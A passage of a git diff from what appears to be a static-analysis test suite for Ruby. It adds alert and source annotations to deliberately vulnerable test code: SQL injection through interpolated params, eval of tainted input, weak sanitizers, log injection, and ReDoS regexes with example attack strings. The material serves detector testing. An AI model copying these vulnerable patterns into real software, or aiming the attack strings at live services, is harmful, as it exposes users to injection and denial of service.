`SELECT "users".* FROM "users" WHERE (NOT (user_id = 'params[:id]'))` # where `params[:id]` is unsanitized - User.where.not("user.id = '#{params[:id]}'") + User.where.not("user.id = '#{params[:id]}'") # $ Alert - User.authenticate(params[:name], params[:pass]) + User.authenticate(params[:name], params[:pass]) # $ Source # BAD: executes `SELECT "users".* FROM "users" WHERE (id = '#{params[:id]}')` LIMIT 1 # where `params[:id]` is unsanitized - User.find_or_initialize_by("id = '#{params[:id]}'") + User.find_or_initialize_by("id = '#{params[:id]}'") # $ Alert user = User.first # BAD: executes `SELECT "users".* FROM "users" WHERE id = 1 LIMIT 1 #{params[:lock]}` # where `params[:lock]` is unsanitized - user.reload(lock: params[:lock]) + user.reload(lock: params[:lock]) # $ Alert # BAD: executes `SELECT #{params[:column]} FROM "users"` # where `params[:column]` is unsanitized - User.select(params[:column]) - User.reselect(params[:column]) + User.select(params[:column]) # $ Alert + User.reselect(params[:column]) # $ Alert # BAD: executes `SELECT "users".* FROM "users" WHERE (#{params[:condition]})` # where `params[:condition]` is unsanitized - User.rewhere(params[:condition]) + User.rewhere(params[:condition]) # $ Alert # BAD: executes `UPDATE "users" SET #{params[:fields]}` # where `params[:fields]` is unsanitized - User.update_all(params[:fields]) + User.update_all(params[:fields]) # $ Alert # GOOD -- `update_all` sanitizes its bind variable arguments User.find_by(name: params[:user_name]) @@ -104,41 +104,41 @@ def some_request_handler # BAD -- `update_all` does not sanitize its query (array arg) User.find_by(name: params[:user_name]) - .update_all(["name = '#{params[:new_user_name]}'"]) + .update_all(["name = '#{params[:new_user_name]}'"]) # $ Alert # BAD -- `update_all` does not sanitize its query (string arg) User.find_by(name: params[:user_name]) - .update_all("name = '#{params[:new_user_name]}'") + .update_all("name = '#{params[:new_user_name]}'") # $ Alert - User.reorder(params[:direction]) + User.reorder(params[:direction]) # $ Alert - User.select('a','b', params[:column]) - User.reselect('a','b', params[:column]) - User.order('a ASC', "b #{params[:direction]}") - User.reorder('a ASC', "b #{params[:direction]}") - User.group('a', params[:column]) - User.pluck('a', params[:column]) - User.joins(:a, params[:column]) + User.select('a','b', params[:column]) # $ Alert + User.reselect('a','b', params[:column]) # $ Alert + User.order('a ASC', "b #{params[:direction]}") # $ Alert + User.reorder('a ASC', "b #{params[:direction]}") # $ Alert + User.group('a', params[:column]) # $ Alert + User.pluck('a', params[:column]) # $ Alert + User.joins(:a, params[:column]) # $ Alert - User.count_by_sql(params[:custom_sql_query]) + User.count_by_sql(params[:custom_sql_query]) # $ Alert # BAD: executes `SELECT users.* FROM #{params[:tab]}` # where `params[:tab]` is unsanitized - User.all.from(params[:tab]) + User.all.from(params[:tab]) # $ Alert # BAD: executes `SELECT "users".* FROM (SELECT "users".* FROM "users") #{params[:sq]} - User.all.from(User.all, params[:sq]) + User.all.from(User.all, params[:sq]) # $ Alert end end class BarController < ApplicationController def some_other_request_handler - ps = params + ps = params # $ Source uid = ps[:id] uidEq = "= '#{uid}'" # BAD: executes `DELETE FROM "users" WHERE (id = #{uid})` # where `uid` is unsantized - User.delete_by("id " + uidEq) + User.delete_by("id " + uidEq) # $ Alert end def safe_paths @@ -171,7 +171,7 @@ def safe_paths class BazController < BarController def yet_another_handler - Admin.delete_by(params[:admin_condition]) + Admin.delete_by(params[:admin_condition]) # $ Alert Source end end @@ -185,7 +185,7 @@ def index def unsafe_action name = params[:user_name] # BAD: user input passed into annotations are vulnerable to SQLi - users = User.annotate("this is an unsafe annotation:#{params[:comment]}").find_by(user_name: name) + users = User.annotate("this is an unsafe annotation:#{params[:comment]}").find_by(user_name: name) # $ Alert end end @@ -198,27 +198,27 @@ class RegressionController < ActionController::Base def index my_params = permitted_params query = "SELECT * FROM users WHERE id = #{my_params[:user_id]}" - result = Regression.find_by_sql(query) + result = Regression.find_by_sql(query) # $ Alert end def permitted_params - params.require(:my_key).permit(:id, :user_id, :my_type) + params.require(:my_key).permit(:id, :user_id, :my_type) # $ Source end def show - ActiveRecord::Base.connection.execute("SELECT * FROM users WHERE id = #{permitted_params[:user_id]}") - Regression.connection.execute("SELECT * FROM users WHERE id = #{permitted_params[:user_id]}") + ActiveRecord::Base.connection.execute("SELECT * FROM users WHERE id = #{permitted_params[:user_id]}") # $ Alert + Regression.connection.execute("SELECT * FROM users WHERE id = #{permitted_params[:user_id]}") # $ Alert end end class User - scope :with_role, ->(role) { where("role = #{role}") } + scope :with_role, ->(role) { where("role = #{role}") } # $ Alert end class UsersController < ActionController::Base def index # BAD: user input passed to scope which uses it without sanitization. - @users = User.with_role(params[:role]) + @users = User.with_role(params[:role]) # $ Source end end diff --git a/ruby/ql/test/query-tests/security/cwe-089/ArelInjection.rb b/ruby/ql/test/query-tests/security/cwe-089/ArelInjection.rb index 1cd6782b2416..707ab181e45e 100644 --- a/ruby/ql/test/query-tests/security/cwe-089/ArelInjection.rb +++ b/ruby/ql/test/query-tests/security/cwe-089/ArelInjection.rb @@ -1,9 +1,9 @@ class PotatoController < ActionController::Base def unsafe_action - name = params[:user_name] + name = params[:user_name] # $ Source # BAD: SQL statement constructed from user input - sql = Arel.sql("SELECT * FROM users WHERE name = #{name}") - sql = Arel::Nodes::SqlLiteral.new("SELECT * FROM users WHERE name = #{name}") + sql = Arel.sql("SELECT * FROM users WHERE name = #{name}") # $ Alert + sql = Arel::Nodes::SqlLiteral.new("SELECT * FROM users WHERE name = #{name}") # $ Alert end end \ No newline at end of file diff --git a/ruby/ql/test/query-tests/security/cwe-089/PgInjection.rb b/ruby/ql/test/query-tests/security/cwe-089/PgInjection.rb index 549be4898582..c44e078ee843 100644 --- a/ruby/ql/test/query-tests/security/cwe-089/PgInjection.rb +++ b/ruby/ql/test/query-tests/security/cwe-089/PgInjection.rb @@ -3,7 +3,7 @@ class FooController < ActionController::Base def some_request_handler # A string tainted by user input is inserted into a query # (i.e a remote flow source) - name = params[:name] + name = params[:name] # $ Source # Establish a connection to a PostgreSQL database conn = PG::Connection.open(:dbname => 'postgresql', :user => 'user', :password => 'pass', :host => 'localhost', :port => '5432') @@ -11,14 +11,14 @@ def some_request_handler # .exec() and .async_exec() # BAD: SQL statement constructed from user input qry1 = "SELECT * FROM users WHERE username = '#{name}';" - conn.exec(qry1) - conn.async_exec(qry1) + conn.exec(qry1) # $ Alert + conn.async_exec(qry1) # $ Alert # .exec_params() and .async_exec_params() # BAD: SQL statement constructed from user input qry2 = "SELECT * FROM users WHERE username = '#{name}';" - conn.exec_params(qry2) - conn.async_exec_params(qry2) + conn.exec_params(qry2) # $ Alert + conn.async_exec_params(qry2) # $ Alert # .exec_params() and .async_exec_params() # GOOD: SQL statement constructed from sanitized user input @@ -29,7 +29,7 @@ def some_request_handler # .prepare() and .exec_prepared() # BAD: SQL statement constructed from user input qry3 = "SELECT * FROM users WHERE username = '#{name}';" - conn.prepare("query_1", qry3) + conn.prepare("query_1", qry3) # $ Alert conn.exec_prepared('query_1') # .prepare() and .exec_prepared() @@ -41,7 +41,7 @@ def some_request_handler # .prepare() and .exec_prepared() # NOT EXECUTED: SQL statement constructed from user input but not executed qry3 = "SELECT * FROM users WHERE username = '#{name}';" - conn.prepare("query_3", qry3) + conn.prepare("query_3", qry3) # $ Alert end end diff --git a/ruby/ql/test/query-tests/security/cwe-089/SqlInjection.qlref b/ruby/ql/test/query-tests/security/cwe-089/SqlInjection.qlref index bcb55c8510f1..7fb79e3340de 100644 --- a/ruby/ql/test/query-tests/security/cwe-089/SqlInjection.qlref +++ b/ruby/ql/test/query-tests/security/cwe-089/SqlInjection.qlref @@ -1 +1,2 @@ -queries/security/cwe-089/SqlInjection.ql +query: queries/security/cwe-089/SqlInjection.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/cwe-094/UnsafeCodeConstruction/UnsafeCodeConstruction.qlref b/ruby/ql/test/query-tests/security/cwe-094/UnsafeCodeConstruction/UnsafeCodeConstruction.qlref index ec336901db5b..184c870500de 100644 --- a/ruby/ql/test/query-tests/security/cwe-094/UnsafeCodeConstruction/UnsafeCodeConstruction.qlref +++ b/ruby/ql/test/query-tests/security/cwe-094/UnsafeCodeConstruction/UnsafeCodeConstruction.qlref @@ -1 +1,2 @@ -queries/security/cwe-094/UnsafeCodeConstruction.ql \ No newline at end of file +query: queries/security/cwe-094/UnsafeCodeConstruction.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/cwe-094/UnsafeCodeConstruction/impl/unsafeCode.rb b/ruby/ql/test/query-tests/security/cwe-094/UnsafeCodeConstruction/impl/unsafeCode.rb index b69048f63288..3c92cea5c8ce 100644 --- a/ruby/ql/test/query-tests/security/cwe-094/UnsafeCodeConstruction/impl/unsafeCode.rb +++ b/ruby/ql/test/query-tests/security/cwe-094/UnsafeCodeConstruction/impl/unsafeCode.rb @@ -1,16 +1,16 @@ class Foobar - def foo1(target) - eval("foo = #{target}") # NOT OK + def foo1(target) # $ Source + eval("foo = #{target}") # NOT OK # $ Alert end # sprintf - def foo2(x) - eval(sprintf("foo = %s", x)) # NOT OK + def foo2(x) # $ Source + eval(sprintf("foo = %s", x)) # NOT OK # $ Alert end # String#% - def foo3(x) - eval("foo = %{foo}" % {foo: x}) # NOT OK + def foo3(x) # $ Source + eval("foo = %{foo}" % {foo: x}) # NOT OK # $ Alert end def indirect_eval(x) @@ -25,42 +25,42 @@ def named_code(code) eval("def \n #{code} \n end") # OK - parameter is named code end - def joinStuff(my_arr) - eval(my_arr.join("\n")) # NOT OK + def joinStuff(my_arr) # $ Source + eval(my_arr.join("\n")) # NOT OK # $ Alert end - def joinWithElemt(x) + def joinWithElemt(x) # $ Source arr = [x, "foobar"] - eval(arr.join("\n")) # NOT OK + eval(arr.join("\n")) # NOT OK # $ Alert end - def pushArr(x, y) + def pushArr(x, y) # $ Source arr = [] arr.push(x) - eval(arr.join("\n")) # NOT OK + eval(arr.join("\n")) # NOT OK # $ Alert arr2 = [] arr2 << y - eval(arr.join("\n")) # NOT OK + eval(arr.join("\n")) # NOT OK # $ Alert end - def hereDoc(x) + def hereDoc(x) # $ Source foo = <<~HERE - #{x} + #{x} # $ Alert HERE eval(foo) # NOT OK end - def string_concat(x) - foo = "foo = " + x + def string_concat(x) # $ Source + foo = "foo = " + x # $ Alert eval(foo) # NOT OK end - def join_indirect(x, y) + def join_indirect(x, y) # $ Source arr = Array(x) - eval(arr.join(" ")) # NOT OK + eval(arr.join(" ")) # NOT OK # $ Alert arr2 = [Array(["foo = ", y]).join(" ")] - eval(arr2.join("\n")) # NOT OK + eval(arr2.join("\n")) # NOT OK # $ Alert end end diff --git a/ruby/ql/test/query-tests/security/cwe-116/BadTagFilter/BadTagFilter.qlref b/ruby/ql/test/query-tests/security/cwe-116/BadTagFilter/BadTagFilter.qlref index 6780ef6d4c88..d0ba313d71eb 100644 --- a/ruby/ql/test/query-tests/security/cwe-116/BadTagFilter/BadTagFilter.qlref +++ b/ruby/ql/test/query-tests/security/cwe-116/BadTagFilter/BadTagFilter.qlref @@ -1 +1,2 @@ -queries/security/cwe-116/BadTagFilter.ql \ No newline at end of file +query: queries/security/cwe-116/BadTagFilter.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/cwe-116/BadTagFilter/test.rb b/ruby/ql/test/query-tests/security/cwe-116/BadTagFilter/test.rb index dd4a074c7846..d9940d35551e 100644 --- a/ruby/ql/test/query-tests/security/cwe-116/BadTagFilter/test.rb +++ b/ruby/ql/test/query-tests/security/cwe-116/BadTagFilter/test.rb @@ -1,22 +1,22 @@ filters = [ - /.*?<\/script>/i, # NOT OK - doesn't match newlines or `` - /.*?<\/script>/im, # NOT OK - doesn't match `` + /.*?<\/script>/i, # NOT OK - doesn't match newlines or `` # $ Alert + /.*?<\/script>/im, # NOT OK - doesn't match `` # $ Alert /.*?<\/script[^>]*>/im, # OK //im, # OK - we don't care regexps that only match comments /)|([^\/\s>]+)[\S\s]*?>/, # NOT OK - doesn't match comments with the right capture groups - /<(?:(?:\/([^>]+)>)|(?:!--([\S|\s]*?)-->)|(?:([^\/\s>]+)((?:\s+[\w\-:.]+(?:\s*=\s*?(?:(?:"[^"]*")|(?:'[^']*')|[^\s"'\/>]+))?)*)[\S\s]*?(\/?)>))/, # NOT OK - capture groups + /]*>([\s\S]*?)<\/script>/gi, # NOT OK - too strict matching on the end tag # $ Alert + /<(?:!--([\S|\s]*?)-->)|([^\/\s>]+)[\S\s]*?>/, # NOT OK - doesn't match comments with the right capture groups # $ Alert + /<(?:(?:\/([^>]+)>)|(?:!--([\S|\s]*?)-->)|(?:([^\/\s>]+)((?:\s+[\w\-:.]+(?:\s*=\s*?(?:(?:"[^"]*")|(?:'[^']*')|[^\s"'\/>]+))?)*)[\S\s]*?(\/?)>))/, # NOT OK - capture groups # $ Alert ] doFilters(filters) \ No newline at end of file diff --git a/ruby/ql/test/query-tests/security/cwe-116/IncompleteSanitization/IncompleteSanitization.qlref b/ruby/ql/test/query-tests/security/cwe-116/IncompleteSanitization/IncompleteSanitization.qlref index 966c74aaf64b..e7f5463e7941 100644 --- a/ruby/ql/test/query-tests/security/cwe-116/IncompleteSanitization/IncompleteSanitization.qlref +++ b/ruby/ql/test/query-tests/security/cwe-116/IncompleteSanitization/IncompleteSanitization.qlref @@ -1 +1,2 @@ -queries/security/cwe-116/IncompleteSanitization.ql \ No newline at end of file +query: queries/security/cwe-116/IncompleteSanitization.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/cwe-116/IncompleteSanitization/tst.rb b/ruby/ql/test/query-tests/security/cwe-116/IncompleteSanitization/tst.rb index f59fdd332aed..f9b37b12c6af 100644 --- a/ruby/ql/test/query-tests/security/cwe-116/IncompleteSanitization/tst.rb +++ b/ruby/ql/test/query-tests/security/cwe-116/IncompleteSanitization/tst.rb @@ -1,91 +1,91 @@ def bad1(s) - s.sub "'", "" # NOT OK - s.sub! "'", "" # NOT OK + s.sub "'", "" # NOT OK # $ Alert + s.sub! "'", "" # NOT OK # $ Alert end def bad2(s) - s.sub /'/, "" # NOT OK - s.sub! /'/, "" # NOT OK + s.sub /'/, "" # NOT OK # $ Alert + s.sub! /'/, "" # NOT OK # $ Alert end def bad3(s1, s2, s3) - s1.gsub /'/, "\\'" # NOT OK - s1.gsub /'/, '\\\'' # NOT OK - s2.gsub! /'/, "\\'" # NOT OK - s3.gsub! /'/, '\\\'' # NOT OK + s1.gsub /'/, "\\'" # NOT OK # $ Alert + s1.gsub /'/, '\\\'' # NOT OK # $ Alert + s2.gsub! /'/, "\\'" # NOT OK # $ Alert + s3.gsub! /'/, '\\\'' # NOT OK # $ Alert end def bad4(s1, s2, s3) - s1.gsub /'/, "\\\\\\&" # NOT OK - s1.gsub /'/, '\\\\\&' # NOT OK - s2.gsub! /'/, "\\\\\\&" # NOT OK - s3.gsub! /'/, '\\\\\&' # NOT OK + s1.gsub /'/, "\\\\\\&" # NOT OK # $ Alert + s1.gsub /'/, '\\\\\&' # NOT OK # $ Alert + s2.gsub! /'/, "\\\\\\&" # NOT OK # $ Alert + s3.gsub! /'/, '\\\\\&' # NOT OK # $ Alert end def bad5(s) - s.gsub /['"]/, '\\\\\&' # NOT OK - s.gsub! /['"]/, '\\\\\&' # NOT OK + s.gsub /['"]/, '\\\\\&' # NOT OK # $ Alert + s.gsub! /['"]/, '\\\\\&' # NOT OK # $ Alert end def bad6(s) - s.gsub /(['"])/, '\\\\\\1' # NOT OK - s.gsub! /(['"])/, '\\\\\\1' # NOT OK + s.gsub /(['"])/, '\\\\\\1' # NOT OK # $ Alert + s.gsub! /(['"])/, '\\\\\\1' # NOT OK # $ Alert end def bad7(s) - s.gsub /('|")/, '\\\\\1' # NOT OK - s.gsub! /('|")/, '\\\\\1' # NOT OK + s.gsub /('|")/, '\\\\\1' # NOT OK # $ Alert + s.gsub! /('|")/, '\\\\\1' # NOT OK # $ Alert end def bad8(s) - s.sub '|', '' # NOT OK - s.sub! '|', '' # NOT OK + s.sub '|', '' # NOT OK # $ Alert + s.sub! '|', '' # NOT OK # $ Alert end def bad9(s1, s2, s3, s4) - s1.gsub /"/, "\\\"" # NOT OK - s1.gsub /"/, '\\"' # NOT OK - s1.gsub '"', '\\"' # NOT OK - s2.gsub! /"/, "\\\"" # NOT OK - s3.gsub! /"/, '\\"' # NOT OK - s4.gsub! '"', '\\"' # NOT OK + s1.gsub /"/, "\\\"" # NOT OK # $ Alert + s1.gsub /"/, '\\"' # NOT OK # $ Alert + s1.gsub '"', '\\"' # NOT OK # $ Alert + s2.gsub! /"/, "\\\"" # NOT OK # $ Alert + s3.gsub! /"/, '\\"' # NOT OK # $ Alert + s4.gsub! '"', '\\"' # NOT OK # $ Alert end def bad10(s) - s.sub "/", "%2F" # NOT OK - s.sub! "/", "%2F" # NOT OK + s.sub "/", "%2F" # NOT OK # $ Alert + s.sub! "/", "%2F" # NOT OK # $ Alert end def bad11(s) - s.sub "%25", "%" # NOT OK - s.sub! "%25", "%" # NOT OK + s.sub "%25", "%" # NOT OK # $ Alert + s.sub! "%25", "%" # NOT OK # $ Alert end def bad12(s) - s.sub %q['], %q[] # NOT OK - s.sub! %q['], %q[] # NOT OK + s.sub %q['], %q[] # NOT OK # $ Alert + s.sub! %q['], %q[] # NOT OK # $ Alert end def bad13(s) - s.sub "'" + "", "" # NOT OK - s.sub! "'" + "", "" # NOT OK + s.sub "'" + "", "" # NOT OK # $ Alert + s.sub! "'" + "", "" # NOT OK # $ Alert end def bad14(s) - s.sub "'", "" + "" # NOT OK - s.sub! "'", "" + "" # NOT OK + s.sub "'", "" + "" # NOT OK # $ Alert + s.sub! "'", "" + "" # NOT OK # $ Alert end def bad15(s) - s.sub "'" + "", "" + "" # NOT OK - s.sub! "'" + "", "" + "" # NOT OK + s.sub "'" + "", "" + "" # NOT OK # $ Alert + s.sub! "'" + "", "" + "" # NOT OK # $ Alert end def bad16(s) indirect = /'/ - s.sub(indirect, "") # NOT OK - s.sub!(indirect, "") # NOT OK + s.sub(indirect, "") # NOT OK # $ Alert + s.sub!(indirect, "") # NOT OK # $ Alert end def good1a(s) @@ -212,15 +212,15 @@ def good13a(s) s.sub('[', '').sub(']', '') # OK s.sub('(', '').sub(')', '') # OK s.sub('{', '').sub('}', '') # OK - s.sub('<', '').sub('>', '') # NOT OK: too common as a bad HTML sanitizer + s.sub('<', '').sub('>', '') # NOT OK: too common as a bad HTML sanitizer # $ Alert - s.sub('[', '\\[').sub(']', '\\]') # NOT OK - s.sub('{', '\\{').sub('}', '\\}') # NOT OK + s.sub('[', '\\[').sub(']', '\\]') # NOT OK # $ Alert + s.sub('{', '\\{').sub('}', '\\}') # NOT OK # $ Alert s = s.sub('[', '') # OK s = s.sub(']', '') # OK s.sub(/{/, '').sub(/}/, '') # OK - s.sub(']', '').sub('[', '') # probably OK, but still flagged + s.sub(']', '').sub('[', '') # probably OK, but still flagged # $ Alert end def good13b(s1) @@ -245,8 +245,8 @@ def newlines_a(a, b, c) # motivation for whitelist `which emacs`.sub("\n", "") # OK - a.sub("\n", "").sub(b, c) # NOT OK - a.sub(b, c).sub("\n", "") # NOT OK + a.sub("\n", "").sub(b, c) # NOT OK # $ Alert + a.sub(b, c).sub("\n", "") # NOT OK # $ Alert end def newlines_b(a, b, c) @@ -255,18 +255,18 @@ def newlines_b(a, b, c) output.sub!("\n", "") # OK d = a.dup - d.sub!("\n", "") # NOT OK + d.sub!("\n", "") # NOT OK # $ Alert d.sub!(b, c) e = a.dup d.sub!(b, c) - d.sub!("\n", "") # NOT OK + d.sub!("\n", "") # NOT OK # $ Alert end def bad_path_sanitizer(p1, p2) # attempt at path sanitization - p1.sub! "/../", "" # NOT OK - p2.sub "/../", "" # NOT OK + p1.sub! "/../", "" # NOT OK # $ Alert + p2.sub "/../", "" # NOT OK # $ Alert end def each_line_sanitizer(p1) diff --git a/ruby/ql/test/query-tests/security/cwe-117/LogInjection.qlref b/ruby/ql/test/query-tests/security/cwe-117/LogInjection.qlref index 3368edec4023..19ed712f4586 100644 --- a/ruby/ql/test/query-tests/security/cwe-117/LogInjection.qlref +++ b/ruby/ql/test/query-tests/security/cwe-117/LogInjection.qlref @@ -1 +1,2 @@ -queries/security/cwe-117/LogInjection.ql \ No newline at end of file +query: queries/security/cwe-117/LogInjection.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/cwe-117/app/controllers/users_controller.rb b/ruby/ql/test/query-tests/security/cwe-117/app/controllers/users_controller.rb index 67e0e1cb1a7c..a49cce26d47e 100644 --- a/ruby/ql/test/query-tests/security/cwe-117/app/controllers/users_controller.rb +++ b/ruby/ql/test/query-tests/security/cwe-117/app/controllers/users_controller.rb @@ -12,9 +12,9 @@ def init_logger def read_from_params init_logger - unsanitized = params[:foo] - @logger.debug unsanitized # BAD: unsanitized user input - @logger.error "input: " + unsanitized # BAD: unsanitized user input + unsanitized = params[:foo] # $ Source + @logger.debug unsanitized # BAD: unsanitized user input # $ Alert + @logger.error "input: " + unsanitized # BAD: unsanitized user input # $ Alert sanitized = unsanitized.gsub("\n", "") @logger.fatal sanitized # GOOD: sanitized user input @@ -22,17 +22,17 @@ def read_from_params unsanitized2 = unsanitized.sub("\n", "") @logger.info do - unsanitized2 # BAD: partially sanitized user input + unsanitized2 # BAD: partially sanitized user input # $ Alert end - @logger << "input: " + unsanitized2 # BAD: partially sanitized user input + @logger << "input: " + unsanitized2 # BAD: partially sanitized user input # $ Alert end def read_from_cookies init_logger - unsanitized = cookies[:bar] - @logger.add(Logger::INFO) { unsanitized } # BAD: unsanitized user input - @logger.log(Logger::WARN) { "input: " + unsanitized } # BAD: unsanitized user input + unsanitized = cookies[:bar] # $ Source + @logger.add(Logger::INFO) { unsanitized } # BAD: unsanitized user input # $ Alert + @logger.log(Logger::WARN) { "input: " + unsanitized } # BAD: unsanitized user input # $ Alert end def html_sanitization @@ -46,7 +46,7 @@ def html_sanitization def inspect_sanitization init_logger - @logger.debug params[:foo] # BAD: unsanitized user input + @logger.debug params[:foo] # BAD: unsanitized user input # $ Alert @logger.debug params[:foo].inspect # GOOD: sanitized user input end end diff --git a/ruby/ql/test/query-tests/security/cwe-1333-exponential-redos/ReDoS.qlref b/ruby/ql/test/query-tests/security/cwe-1333-exponential-redos/ReDoS.qlref index 7f4557181d7c..12b806895875 100644 --- a/ruby/ql/test/query-tests/security/cwe-1333-exponential-redos/ReDoS.qlref +++ b/ruby/ql/test/query-tests/security/cwe-1333-exponential-redos/ReDoS.qlref @@ -1 +1,2 @@ -queries/security/cwe-1333/ReDoS.ql +query: queries/security/cwe-1333/ReDoS.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ruby/ql/test/query-tests/security/cwe-1333-exponential-redos/tst.rb b/ruby/ql/test/query-tests/security/cwe-1333-exponential-redos/tst.rb index 450d330dc928..8f45aff3c454 100644 --- a/ruby/ql/test/query-tests/security/cwe-1333-exponential-redos/tst.rb +++ b/ruby/ql/test/query-tests/security/cwe-1333-exponential-redos/tst.rb @@ -1,7 +1,7 @@ # NOT GOOD; attack: "_" + "__".repeat(100) # Adapted from marked (https://github.com/markedjs/marked), which is licensed # under the MIT license; see file marked-LICENSE. -bad1 = /^\b_((?:__|[\s\S])+?)_\b|^\*((?:\*\*|[\s\S])+?)\*(?!\*)/ +bad1 = /^\b_((?:__|[\s\S])+?)_\b|^\*((?:\*\*|[\s\S])+?)\*(?!\*)/ # $ Alert # GOOD # Adapted from marked (https://github.com/markedjs/marked), which is licensed @@ -16,7 +16,7 @@ # NOT GOOD; attack: " '" + "\\\\".repeat(100) # Adapted from CodeMirror (https://github.com/codemirror/codemirror), # which is licensed under the MIT license; see file CodeMirror-LICENSE. -bad2 = /^(?:\s+(?:"(?:[^"\\]|\\\\|\\.)+"|'(?:[^'\\]|\\\\|\\.)+'|\((?:[^)\\]|\\\\|\\.)+\)))?/ +bad2 = /^(?:\s+(?:"(?:[^"\\]|\\\\|\\.)+"|'(?:[^'\\]|\\\\|\\.)+'|\((?:[^)\\]|\\\\|\\.)+\)))?/ # $ Alert # GOOD # Adapted from lulucms2 (https://github.com/yiifans/lulucms2). @@ -28,89 +28,89 @@ good3 = /^ *(\S.*\|.*)\n *([-:]+ *\|[-| :]*)\n((?:.*\|.*(?:\n|$))*)\n*/ # NOT GOOD, variant of good3; attack: "a|\n:|\n" + "||\n".repeat(100) -bad4 = /^ *(\S.*\|.*)\n *([-:]+ *\|[-| :]*)\n((?:.*\|.*(?:\n|$))*)a/ +bad4 = /^ *(\S.*\|.*)\n *([-:]+ *\|[-| :]*)\n((?:.*\|.*(?:\n|$))*)a/ # $ Alert # NOT GOOD; attack: "/" + "\\/a".repeat(100) # Adapted from ANodeBlog (https://github.com/gefangshuai/ANodeBlog), # which is licensed under the Apache License 2.0; see file ANodeBlog-LICENSE. -bad5 = /\/(?![ *])(\\\/|.)*?\/[gim]*(?=\W|$)/ +bad5 = /\/(?![ *])(\\\/|.)*?\/[gim]*(?=\W|$)/ # $ Alert # NOT GOOD; attack: "##".repeat(100) + "\na" # Adapted from CodeMirror (https://github.com/codemirror/codemirror), # which is licensed under the MIT license; see file CodeMirror-LICENSE. -bad6 = /^([\s\[\{\(]|#.*)*$/ +bad6 = /^([\s\[\{\(]|#.*)*$/ # $ Alert # GOOD good4 = /(\r\n|\r|\n)+/ # BAD - PoC: `node -e "/((?:[^\"\']|\".*?\"|\'.*?\')*?)([(,)]|$)/.test(\"'''''''''''''''''''''''''''''''''''''''''''''\\\"\");"`. It's complicated though, because the regexp still matches something, it just matches the empty-string after the attack string. -actuallyBad = /((?:[^"']|".*?"|'.*?')*?)([(,)]|$)/ +actuallyBad = /((?:[^"']|".*?"|'.*?')*?)([(,)]|$)/ # $ Alert # NOT GOOD; attack: "a" + "[]".repeat(100) + ".b\n" # Adapted from Knockout (https://github.com/knockout/knockout), which is # licensed under the MIT license; see file knockout-LICENSE -bad6 = /^[\_$a-z][\_$a-z0-9]*(\[.*?\])*(\.[\_$a-z][\_$a-z0-9]*(\[.*?\])*)*$/i +bad6 = /^[\_$a-z][\_$a-z0-9]*(\[.*?\])*(\.[\_$a-z][\_$a-z0-9]*(\[.*?\])*)*$/i # $ Alert # GOOD good6 = /(a|.)*/ # Testing the NFA - only some of the below are detected. -bad7 = /^([a-z]+)+$/ -bad8 = /^([a-z]*)*$/ -bad9 = /^([a-zA-Z0-9])(([\\.-]|[_]+)?([a-zA-Z0-9]+))*(@){1}[a-z0-9]+[.]{1}(([a-z]{2,3})|([a-z]{2,3}[.]{1}[a-z]{2,3}))$/ -bad10 = /^(([a-z])+.)+[A-Z]([a-z])+$/ +bad7 = /^([a-z]+)+$/ # $ Alert +bad8 = /^([a-z]*)*$/ # $ Alert +bad9 = /^([a-zA-Z0-9])(([\\.-]|[_]+)?([a-zA-Z0-9]+))*(@){1}[a-z0-9]+[.]{1}(([a-z]{2,3})|([a-z]{2,3}[.]{1}[a-z]{2,3}))$/ # $ Alert +bad10 = /^(([a-z])+.)+[A-Z]([a-z])+$/ # $ Alert # NOT GOOD; attack: "[" + "][".repeat(100) + "]!" # Adapted from Prototype.js (https://github.com/prototypejs/prototype), which # is licensed under the MIT license; see file Prototype.js-LICENSE. -bad11 = /(([\w#:.~>+()\s-]+|\*|\[.*?\])+)\s*(,|$)/ +bad11 = /(([\w#:.~>+()\s-]+|\*|\[.*?\])+)\s*(,|$)/ # $ Alert # NOT GOOD; attack: "'" + "\\a".repeat(100) + '"' # Adapted from Prism (https://github.com/PrismJS/prism), which is licensed # under the MIT license; see file Prism-LICENSE. -bad12 = /("|')(\\?.)*?\1/ +bad12 = /("|')(\\?.)*?\1/ # $ Alert # NOT GOOD -bad13 = /(b|a?b)*c/ +bad13 = /(b|a?b)*c/ # $ Alert # NOT GOOD -bad15 = /(a|aa?)*b/ +bad15 = /(a|aa?)*b/ # $ Alert # GOOD good7 = /(.|\n)*!/ # NOT GOOD; attack: "\n".repeat(100) + "." -bad16 = /(.|\n)*!/m +bad16 = /(.|\n)*!/m # $ Alert # GOOD good8 = /([\w.]+)*/ # NOT GOOD -bad17 = Regexp.new '(a|aa?)*b' +bad17 = Regexp.new '(a|aa?)*b' # $ Alert # GOOD - not used as regexp good9 = '(a|aa?)*b' # NOT GOOD -bad18 = /(([\S\s]|[^a])*)"/ +bad18 = /(([\S\s]|[^a])*)"/ # $ Alert # GOOD - there is no witness in the end that could cause the regexp to not match good10 = /([^"']+)*/ # NOT GOOD -bad20 = /((.|[^a])*)"/ +bad20 = /((.|[^a])*)"/ # $ Alert # GOOD good10 = /((a|[^a])*)"/ # NOT GOOD -bad21 = /((b|[^a])*)"/ +bad21 = /((b|[^a])*)"/ # $ Alert # NOT GOOD -bad22 = /((G|[^a])*)"/ +bad22 = /((G|[^a])*)"/ # $ Alert # NOT GOOD -bad23 = /(([0-9]|[^a])*)"/ +bad23 = /(([0-9]|[^a])*)"/ # $ Alert # BAD - missing result bad24 = /(?:=(?:([!#\$%&'\*\+\-\.\^_`\|~0-9A-Za-z]+)|"((?:\\[\x00-\x7f]|[^\x00-\x08\x0a-\x1f\x7f"])*)"))?/ @@ -122,55 +122,55 @@ bad26 = /"((?:\\[\x00-\x7f]|[^\x00-\x08\x0a-\x1f\x7f"\\])*)"/ # NOT GOOD -bad27 = /(([a-z]|[d-h])*)"/ +bad27 = /(([a-z]|[d-h])*)"/ # $ Alert # NOT GOOD -bad27 = /(([^a-z]|[^0-9])*)"/ +bad27 = /(([^a-z]|[^0-9])*)"/ # $ Alert # NOT GOOD -bad28 = /((\d|[0-9])*)"/ +bad28 = /((\d|[0-9])*)"/ # $ Alert # NOT 